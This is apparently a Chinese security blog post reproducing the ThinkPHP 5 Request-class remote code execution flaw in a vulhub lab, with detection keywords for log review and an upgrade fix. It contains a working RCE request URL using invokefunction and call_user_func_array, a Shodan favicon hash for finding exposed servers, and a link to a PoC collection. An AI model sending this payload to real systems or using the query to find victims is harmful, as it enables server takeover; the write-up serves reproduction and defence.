ThinkPHP 5 核心类Request远程代码执行漏洞复现
漏洞简述
攻击者构造特定的恶意请求,可以直接获取服务器权限,受影响的版本包括5.0.0~5.0.23版本及5.1多个版本。由于ThinkPHP5框架对Request类的method处理存在缺陷,导致黑客构造特定的请求,可直接GetWebShell。
漏洞影响版本
5.0.0~5.0.23版本及5.1多个版本
Shodan 搜索语法
http.favicon.hash:1165838194
![](https://zgao.top/wp-content/uploads/2022/06/image-133-1024x584.png)
漏洞exp
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
漏洞环境搭建
使用vulhub进行复现,运行ThinkPHP 5.0.20版本。环境启动后,访问http://your-ip:8080
即可看到ThinkPHP默认启动页面。
![](https://zgao.top/wp-content/uploads/2022/06/image-134-1024x646.png)
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
即可执行phpinfo。
![](https://zgao.top/wp-content/uploads/2022/06/image-135-1024x340.png)
溯源排查
排查关键词:
/?s=index/index ?s=index/\think call_user_func
本地使用docker进行搭建,可以使用docker logs查看日志。
![](https://zgao.top/wp-content/uploads/2022/06/image-136-1024x274.png)
也可以排查 thinkphp runtime日志。
![](https://zgao.top/wp-content/uploads/2022/06/image-137-1024x490.png)
thinkphp 日志配置
参考:https://www.kancloud.cn/manual/thinkphp5/118127
修复方式
升级ThinkPHP至最新版本。
赞赏微信赞赏
支付宝赞赏
发表评论